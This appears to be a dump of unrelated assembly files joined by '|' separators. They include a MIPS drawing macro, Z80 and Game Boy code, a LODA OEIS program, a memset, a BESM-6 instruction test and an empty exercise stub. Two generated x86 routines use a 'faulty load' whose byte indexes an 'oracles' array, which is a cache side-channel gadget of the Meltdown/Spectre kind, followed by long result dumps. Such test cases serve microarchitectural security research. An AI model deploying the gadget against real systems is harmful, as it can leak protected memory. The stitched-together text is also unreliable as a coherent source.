addi $s1, $zero, 46
addi $s2, $zero, 28
draw_P()
addi $s1, $zero, 16
addi $s2, $zero, 31
draw_P()
addi $s1, $zero, 22
addi $s2, $zero, 31
draw_P()
addi $s1, $zero, 25
addi $s2, $zero, 31
draw_P()
addi $s1, $zero, 28
addi $s2, $zero, 31
draw_P()
addi $s1, $zero, 31
addi $s2, $zero, 31
draw_P()
addi $s1, $zero, 34
addi $s2, $zero, 31
draw_P()
addi $s1, $zero, 37
addi $s2, $zero, 31
draw_P()
addi $s1, $zero, 40
addi $s2, $zero, 31
draw_P()
addi $s1, $zero, 46
addi $s2, $zero, 31
draw_P()
addi $s1, $zero, 16
addi $s2, $zero, 34
draw_P()
addi $s1, $zero, 22
addi $s2, $zero, 34
draw_P()
addi $s1, $zero, 40
addi $s2, $zero, 34
draw_P()
addi $s1, $zero, 46
addi $s2, $zero, 34
draw_P()
addi $s1, $zero, 16
addi $s2, $zero, 37
draw_P()
addi $s1, $zero, 22
addi $s2, $zero, 37
draw_P()
addi $s1, $zero, 40
addi $s2, $zero, 37
draw_P()
addi $s1, $zero, 46
addi $s2, $zero, 37
draw_P()
addi $s1, $zero, 16
addi $s2, $zero, 40
draw_P()
addi $s1, $zero, 19
addi $s2, $zero, 40
draw_P()
addi $s1, $zero, 22
addi $s2, $zero, 40
draw_P()
addi $s1, $zero, 40
addi $s2, $zero, 40
draw_P()
addi $s1, $zero, 43
addi $s2, $zero, 40
draw_P()
addi $s1, $zero, 46
addi $s2, $zero, 40
draw_P()
addi $s1, $zero, 16
addi $s2, $zero, 43
draw_P()
addi $s1, $zero, 22
addi $s2, $zero, 43
draw_P()
addi $s1, $zero, 40
addi $s2, $zero, 43
draw_P()
addi $s1, $zero, 46
addi $s2, $zero, 43
draw_P()
addi $s1, $zero, 16
addi $s2, $zero, 46
draw_P()
addi $s1, $zero, 22
addi $s2, $zero, 46
draw_P()
addi $s1, $zero, 40
addi $s2, $zero, 46
draw_P()
addi $s1, $zero, 46
addi $s2, $zero, 46
draw_P()
addi $s1, $zero, 16
addi $s2, $zero, 49
draw_P()
addi $s1, $zero, 22
addi $s2, $zero, 49
draw_P()
addi $s1, $zero, 25
addi $s2, $zero, 49
draw_P()
addi $s1, $zero, 28
addi $s2, $zero, 49
draw_P()
addi $s1, $zero, 31
addi $s2, $zero, 49
draw_P()
addi $s1, $zero, 34
addi $s2, $zero, 49
draw_P()
addi $s1, $zero, 37
addi $s2, $zero, 49
draw_P()
addi $s1, $zero, 40
addi $s2, $zero, 49
draw_P()
addi $s1, $zero, 46
addi $s2, $zero, 49
draw_P()
addi $s1, $zero, 16
addi $s2, $zero, 52
draw_P()
addi $s1, $zero, 22
addi $s2, $zero, 52
draw_P()
addi $s1, $zero, 40
addi $s2, $zero, 52
draw_P()
addi $s1, $zero, 46
addi $s2, $zero, 52
draw_P()
addi $s1, $zero, 4
addi $s2, $zero, 55
draw_P()
addi $s1, $zero, 7
addi $s2, $zero, 55
draw_P()
addi $s1, $zero, 10
addi $s2, $zero, 55
draw_P()
addi $s1, $zero, 13
addi $s2, $zero, 55
draw_P()
addi $s1, $zero, 16
addi $s2, $zero, 55
draw_P()
addi $s1, $zero, 19
addi $s2, $zero, 55
draw_P()
addi $s1, $zero, 22
addi $s2, $zero, 55
draw_P()
addi $s1, $zero, 25
addi $s2, $zero, 55
draw_P()
addi $s1, $zero, 28
addi $s2, $zero, 55
draw_P()
addi $s1, $zero, 34
addi $s2, $zero, 55
draw_P()
addi $s1, $zero, 37
addi $s2, $zero, 55
draw_P()
addi $s1, $zero, 40
addi $s2, $zero, 55
draw_P()
addi $s1, $zero, 43
addi $s2, $zero, 55
draw_P()
addi $s1, $zero, 46
addi $s2, $zero, 55
draw_P()
addi $s1, $zero, 49
addi $s2, $zero, 55
draw_P()
addi $s1, $zero, 52
addi $s2, $zero, 55
draw_P()
addi $s1, $zero, 55
addi $s2, $zero, 55
draw_P()
addi $s1, $zero, 58
addi $s2, $zero, 55
draw_P()
addi $s1, $zero, 4
addi $s2, $zero, 58
draw_P()
addi $s1, $zero, 16
addi $s2, $zero, 58
draw_P()
addi $s1, $zero, 28
addi $s2, $zero, 58
draw_P()
addi $s1, $zero, 34
addi $s2, $zero, 58
draw_P()
addi $s1, $zero, 46
addi $s2, $zero, 58
draw_P()
addi $s1, $zero, 58
addi $s2, $zero, 58
draw_P()
addi $s1, $zero, 7
addi $s2, $zero, 61
draw_P()
addi $s1, $zero, 10
addi $s2, $zero, 61
draw_P()
addi $s1, $zero, 16
addi $s2, $zero, 61
draw_P()
addi $s1, $zero, 19
addi $s2, $zero, 61
draw_P()
addi $s1, $zero, 22
addi $s2, $zero, 61
draw_P()
addi $s1, $zero, 25
addi $s2, $zero, 61
draw_P()
addi $s1, $zero, 28
addi $s2, $zero, 61
draw_P()
addi $s1, $zero, 34
addi $s2, $zero, 61
draw_P()
addi $s1, $zero, 37
addi $s2, $zero, 61
draw_P()
addi $s1, $zero, 40
addi $s2, $zero, 61
draw_P()
addi $s1, $zero, 43
addi $s2, $zero, 61
draw_P()
addi $s1, $zero, 46
addi $s2, $zero, 61
draw_P()
addi $s1, $zero, 52
addi $s2, $zero, 61
draw_P()
addi $s1, $zero, 55
addi $s2, $zero, 61
draw_P()
lw $s0, red
addi $s1, $zero, 4
addi $s2, $zero, 61
draw_P()
addi $s1, $zero, 58
addi $s2, $zero, 61
draw_P()
lw $s0,yellow
addi $s1, $zero, 10
addi $s2, $zero, 64
draw_P()
addi $s1, $zero, 16
addi $s2, $zero, 64
draw_P()
addi $s1, $zero, 22
addi $s2, $zero, 64
draw_P()
addi $s1, $zero, 40
addi $s2, $zero, 64
draw_P()
addi $s1, $zero, 46
addi $s2, $zero, 64
draw_P()
addi $s1, $zero, 52
addi $s2, $zero, 64
draw_P()
addi $s1, $zero, 10
addi $s2, $zero, 67
draw_P()
addi $s1, $zero, 16
addi $s2, $zero, 67
draw_P()
addi $s1, $zero, 22
addi $s2, $zero, 67
draw_P()
addi $s1, $zero, 40
addi $s2, $zero, 67
draw_P()
addi $s1, $zero, 46
addi $s2, $zero, 67
draw_P()
addi $s1, $zero, 52
addi $s2, $zero, 67
draw_P()
addi $s1, $zero, 4
addi $s2, $zero, 70
draw_P()
addi $s1, $zero, 7
addi $s2, $zero, 70
draw_P()
addi $s1, $zero, 10
addi $s2, $zero, 70
draw_P()
addi $s1, $zero, 13
addi $s2, $zero, 70
draw_P()
addi $s1, $zero, 16
addi $s2, $zero, 70
draw_P()
addi $s1, $zero, 22
addi $s2, $zero, 70
draw_P()
addi $s1, $zero, 25
addi $s2, $zero, 70
draw_P()
addi $s1, $zero, 28
addi $s2, $zero, 70
draw_P()
addi $s1, $zero, 34
addi $s2, $zero, 70
draw_P()
addi $s1, $zero, 37
addi $s2, $zero, 70
draw_P()
addi $s1, $zero, 40
addi $s2, $zero, 70
draw_P()
addi $s1, $zero, 46
addi $s2, $zero, 70
draw_P()
addi $s1, $zero, 49
addi $s2, $zero, 70
draw_P()
addi $s1, $zero, 52
addi $s2, $zero, 70
draw_P()
addi $s1, $zero, 55
addi $s2, $zero, 70
draw_P()
addi $s1, $zero, 58
addi $s2, $zero, 70
draw_P()
addi $s1, $zero, 4
addi $s2, $zero, 73
draw_P()
addi $s1, $zero, 28
addi $s2, $zero, 73
draw_P()
addi $s1, $zero, 34
addi $s2, $zero, 73
draw_P()
addi $s1, $zero, 58
addi $s2, $zero, 73
draw_P()
addi $s1, $zero, 4
addi $s2, $zero, 76
draw_P()
addi $s1, $zero, 7
addi $s2, $zero, 76
draw_P()
addi $s1, $zero, 10
addi $s2, $zero, 76
draw_P()
addi $s1, $zero, 13
addi $s2, $zero, 76
draw_P()
addi $s1, $zero, 16
addi $s2, $zero, 76
draw_P()
addi $s1, $zero, 19
addi $s2, $zero, 76
draw_P()
addi $s1, $zero, 22
addi $s2, $zero, 76
draw_P()
addi $s1, $zero, 25
addi $s2, $zero, 76
draw_P()
addi $s1, $zero, 28
addi $s2, $zero, 76
draw_P()
addi $s1, $zero, 31
addi $s2, $zero, 76
draw_P()
addi $s1, $zero, 34
addi $s2, $zero, 76
draw_P()
addi $s1, $zero, 37
addi $s2, $zero, 76
draw_P()
addi $s1, $zero, 40
addi $s2, $zero, 76
draw_P()
addi $s1, $zero, 43
addi $s2, $zero, 76
draw_P()
addi $s1, $zero, 46
addi $s2, $zero, 76
draw_P()
addi $s1, $zero, 49
addi $s2, $zero, 76
draw_P()
addi $s1, $zero, 52
addi $s2, $zero, 76
draw_P()
addi $s1, $zero, 55
addi $s2, $zero, 76
draw_P()
addi $s1, $zero, 58
addi $s2, $zero, 76
draw_P()
.end_macro
|
INCLUDE "config_private.inc"
SECTION data_driver
PUBLIC siobRxCount, siobRxIn, siobRxOut, siobRxLock
siobRxCount: defb 0 ; Space for Rx Buffer Management
siobRxIn: defw siobRxBuffer ; non-zero item in data since it's initialized anyway
siobRxOut: defw siobRxBuffer ; non-zero item in data since it's initialized anyway
siobRxLock: defb 0 ; lock flag for Rx exclusion
IF __IO_SIO_RX_SIZE = 256
SECTION data_align_256
ENDIF
IF __IO_SIO_RX_SIZE = 128
SECTION data_align_128
ENDIF
IF __IO_SIO_RX_SIZE = 64
SECTION data_align_64
ENDIF
IF __IO_SIO_RX_SIZE = 32
SECTION data_align_32
ENDIF
IF __IO_SIO_RX_SIZE = 16
SECTION data_align_16
ENDIF
IF __IO_SIO_RX_SIZE = 8
SECTION data_align_8
ENDIF
IF __IO_SIO_RX_SIZE%8 != 0
ERROR "__IO_SIO_RX_SIZE not 2^n"
ENDIF
PUBLIC siobRxBuffer
siobRxBuffer: defs __IO_SIO_RX_SIZE ; Space for the Rx Buffer
; pad to next boundary
IF __IO_SIO_RX_SIZE = 256
ALIGN 256
ENDIF
IF __IO_SIO_RX_SIZE = 128
ALIGN 128
ENDIF
IF __IO_SIO_RX_SIZE = 64
ALIGN 64
ENDIF
IF __IO_SIO_RX_SIZE = 32
ALIGN 32
ENDIF
IF __IO_SIO_RX_SIZE = 16
ALIGN 16
ENDIF
IF __IO_SIO_RX_SIZE = 8
ALIGN 8
ENDIF
|
.size 8000
.text@48
jp lstatint
.text@100
jp lbegin
.data@143
c0
.text@150
lbegin:
ld a, 00
ldff(ff), a
ld b, 91
call lwaitly_b
ld a, b1
ldff(40), a
ld a, 00
ldff(4a), a
ld a, a6
ldff(4b), a
ld c, 41
ld b, 03
lbegin_waitm3:
ldff a, (c)
and a, b
cmp a, b
jrnz lbegin_waitm3
ld a, 20
ldff(c), a
xor a, a
ldff(0f), a
ld a, 02
ldff(ff), a
ld a, 02
ldff(43), a
ei
.text@1000
lstatint:
nop
.text@1036
ldff a, (c)
and a, b
jp lprint_a
.text@7000
lprint_a:
push af
ld b, 91
call lwaitly_b
xor a, a
ldff(40), a
pop af
ld(9800), a
ld bc, 7a00
ld hl, 8000
ld d, a0
lprint_copytiles:
ld a, (bc)
inc bc
ld(hl++), a
dec d
jrnz lprint_copytiles
ld a, c0
ldff(47), a
ld a, 80
ldff(68), a
ld a, ff
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
xor a, a
ldff(69), a
ldff(69), a
ldff(43), a
ld a, 91
ldff(40), a
lprint_limbo:
jr lprint_limbo
.text@7400
lwaitly_b:
ld c, 44
lwaitly_b_loop:
ldff a, (c)
cmp a, b
jrnz lwaitly_b_loop
ret
.data@7a00
00 00 7f 7f 41 41 41 41
41 41 41 41 41 41 7f 7f
00 00 08 08 08 08 08 08
08 08 08 08 08 08 08 08
00 00 7f 7f 01 01 01 01
7f 7f 40 40 40 40 7f 7f
00 00 7f 7f 01 01 01 01
3f 3f 01 01 01 01 7f 7f
00 00 41 41 41 41 41 41
7f 7f 01 01 01 01 01 01
00 00 7f 7f 40 40 40 40
7e 7e 01 01 01 01 7e 7e
00 00 7f 7f 40 40 40 40
7f 7f 41 41 41 41 7f 7f
00 00 7f 7f 01 01 02 02
04 04 08 08 10 10 10 10
00 00 3e 3e 41 41 41 41
3e 3e 41 41 41 41 3e 3e
00 00 7f 7f 41 41 41 41
7f 7f 01 01 01 01 7f 7f
|
; A164550: a(n) = 6*a(n-1) - 3*a(n-2) for n > 1; a(0) = 1, a(1) = 7.
; 1,7,39,213,1161,6327,34479,187893,1023921,5579847,30407319,165704373,903004281,4920912567,26816462559,146136037653,796366838241,4339792916487,23649656984199,128878563155733,702322407981801
mov $1,1
mov $2,1
lpb $0
sub $0,1
mov $3,3
add $3,$1
mul $1,2
add $2,$1
sub $3,2
add $1,$3
add $1,$2
lpe
mov $0,$1
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r15
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x1a525, %rbp
nop
nop
nop
nop
nop
xor %rax, %rax
mov (%rbp), %r13d
nop
nop
nop
nop
xor $63617, %r15
lea addresses_D_ht+0xa77, %rsi
lea addresses_WT_ht+0xec77, %rdi
nop
nop
nop
nop
nop
add $57204, %rbp
mov $0, %rcx
rep movsq
and %r13, %r13
lea addresses_WT_ht+0x8957, %rsi
lea addresses_A_ht+0x18be7, %rdi
nop
nop
xor $9163, %r11
mov $101, %rcx
rep movsl
and $55936, %r13
lea addresses_A_ht+0x10e77, %rsi
lea addresses_WC_ht+0xdc77, %rdi
nop
nop
nop
nop
nop
sub $17300, %r15
mov $121, %rcx
rep movsw
nop
nop
nop
inc %rdi
lea addresses_normal_ht+0xc1c7, %rcx
nop
nop
nop
nop
nop
cmp %r13, %r13
movw $0x6162, (%rcx)
nop
nop
and $33902, %r15
lea addresses_D_ht+0x14477, %rbp
nop
nop
nop
nop
add $8222, %rsi
movl $0x61626364, (%rbp)
nop
nop
nop
nop
inc %rsi
lea addresses_A_ht+0x16177, %rsi
nop
nop
nop
nop
nop
dec %rdi
vmovups (%rsi), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $0, %xmm4, %rax
nop
nop
nop
nop
nop
sub $50899, %rsi
lea addresses_WC_ht+0x12457, %rsi
lea addresses_WT_ht+0x5e57, %rdi
nop
xor %rbp, %rbp
mov $2, %rcx
rep movsq
nop
nop
nop
nop
dec %r13
lea addresses_normal_ht+0xae7f, %rdi
nop
nop
nop
nop
and $55558, %r11
mov (%rdi), %ebp
nop
nop
nop
nop
add $2686, %r15
lea addresses_D_ht+0x5dbf, %rax
nop
nop
nop
nop
xor $50832, %r11
mov (%rax), %r15
nop
nop
nop
nop
nop
cmp %rdi, %rdi
lea addresses_normal_ht+0x14dc9, %rsi
nop
nop
nop
inc %r11
movw $0x6162, (%rsi)
nop
sub $63019, %rbp
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r15
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r9
push %rbp
push %rbx
push %rdi
push %rsi
// Store
lea addresses_A+0x1f127, %r12
nop
nop
nop
nop
and $51234, %r14
movw $0x5152, (%r12)
nop
nop
nop
nop
nop
add $10632, %r12
// Store
lea addresses_PSE+0x17a77, %rbx
nop
nop
nop
nop
xor %r14, %r14
mov $0x5152535455565758, %r9
movq %r9, %xmm6
movups %xmm6, (%rbx)
nop
nop
nop
nop
and $15184, %rbx
// Faulty Load
lea addresses_PSE+0x17a77, %rsi
nop
add %rbp, %rbp
movb (%rsi), %bl
lea oracles, %r14
and $0xff, %rbx
shlq $12, %rbx
mov (%r14,%rbx,1), %rbx
pop %rsi
pop %rdi
pop %rbx
pop %rbp
pop %r9
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': True, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_A'}}
{'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 16, 'NT': False, 'type': 'addresses_PSE'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 1, 'NT': True, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 4, 'NT': True, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 11, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_WT_ht'}}
{'src': {'congruent': 5, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 10, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_WC_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_normal_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 4, 'NT': True, 'type': 'addresses_D_ht'}}
{'src': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 1, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_WT_ht'}}
{'src': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_normal_ht'}}
{'58': 21829}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
|
section .text
global two_fer
two_fer:
; Provide your implementation here
ret
|
; ===============================================================
; Dec 2013
; ===============================================================
;
; void *memset(void *s, int c, size_t n)
;
; Write c into the first n bytes of s.
;
; ===============================================================
INCLUDE "clib_cfg.asm"
SECTION code_clib
SECTION code_string
PUBLIC asm_memset
asm_memset:
; enter : hl = void *s
; e = char c
; bc = uint n
;
; exit : hl = void *s
; de = ptr in s to byte after last one written
; bc = 0
; carry reset
;
; uses : af, bc, de
ld a,b
or c
ld a,e
ld e,l
ld d,h
ret z
ld (hl),a
inc de
dec bc
;;;;;;;;;;;;;;;;;;;;;;;;;;;;
IF __CLIB_OPT_FASTCOPY & $02
;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ld a,b
or a
jr nz, fast_memset
ld a,c
IF __CLIB_OPT_FASTCOPY & $40
cp 19 ; self-modifying code break even
ELSE
cp 25 ; break even
ENDIF
jr c, slow_memset
fast_memset:
push hl
EXTERN l_fast_memcpy
call l_fast_memcpy
pop hl
or a
ret
slow_memset:
or a
;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ELSE
;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ld a,b
or c
;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ENDIF
;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ret z
push hl
ldir
pop hl
ret
|
#
# Test for instruction ITS.
#
org 1
vtm ws,15
ita 15
aex ones
ati 14
#
vtm 0o11,1
vtm 0o22,2
vtm 0o33,3
ita 1
its 2
its 3
its 0
jaddm 15,14
utm -2,15
#
vim fail,15
xta ws
aex b11
uia fail
#
xta ws+1
aex b22
uia fail
#
xta ws+2
aex b33
uia fail
#
lbl pass
stop 0o12345,6
lbl fail
stop 0o76543,2
#-------------------------
dorg 0o2000
arr ones 0xFFFF
arr b11 0o11
arr b22 0o22
arr b33 0o33
mem ws 3
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r15
push %r8
push %r9
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x14cf4, %rsi
lea addresses_A_ht+0x3e99, %rdi
cmp $1160, %r12
mov $20, %rcx
rep movsq
nop
nop
cmp %r9, %r9
lea addresses_WC_ht+0x1b723, %rcx
xor %r8, %r8
mov (%rcx), %rsi
nop
and $5429, %r12
lea addresses_A_ht+0xc43f, %r12
dec %rbx
vmovups (%r12), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $1, %xmm5, %rsi
nop
nop
nop
nop
sub $8316, %r12
lea addresses_D_ht+0xbc57, %r12
nop
nop
nop
inc %rbx
mov $0x6162636465666768, %rcx
movq %rcx, (%r12)
add $16683, %r9
lea addresses_WC_ht+0x18417, %rsi
lea addresses_WC_ht+0x1d017, %rdi
nop
cmp %r15, %r15
mov $32, %rcx
rep movsl
nop
nop
nop
xor $51583, %rsi
lea addresses_WT_ht+0x1b567, %r15
nop
nop
nop
nop
dec %rsi
movw $0x6162, (%r15)
nop
nop
nop
nop
xor %r12, %r12
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r8
pop %r15
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r15
push %rbx
push %rdi
push %rdx
// Store
lea addresses_US+0xc817, %r11
nop
nop
nop
dec %r10
mov $0x5152535455565758, %rbx
movq %rbx, %xmm5
movups %xmm5, (%r11)
nop
nop
nop
nop
xor $4522, %rdi
// Faulty Load
lea addresses_WT+0x5017, %rdi
nop
nop
xor %r12, %r12
movb (%rdi), %bl
lea oracles, %rdi
and $0xff, %rbx
shlq $12, %rbx
mov (%rdi,%rbx,1), %rbx
pop %rdx
pop %rdi
pop %rbx
pop %r15
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_US', 'same': False, 'AVXalign': False, 'congruent': 11}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_WT', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 0}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 1}}
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 5}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 9}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 10}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 4}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 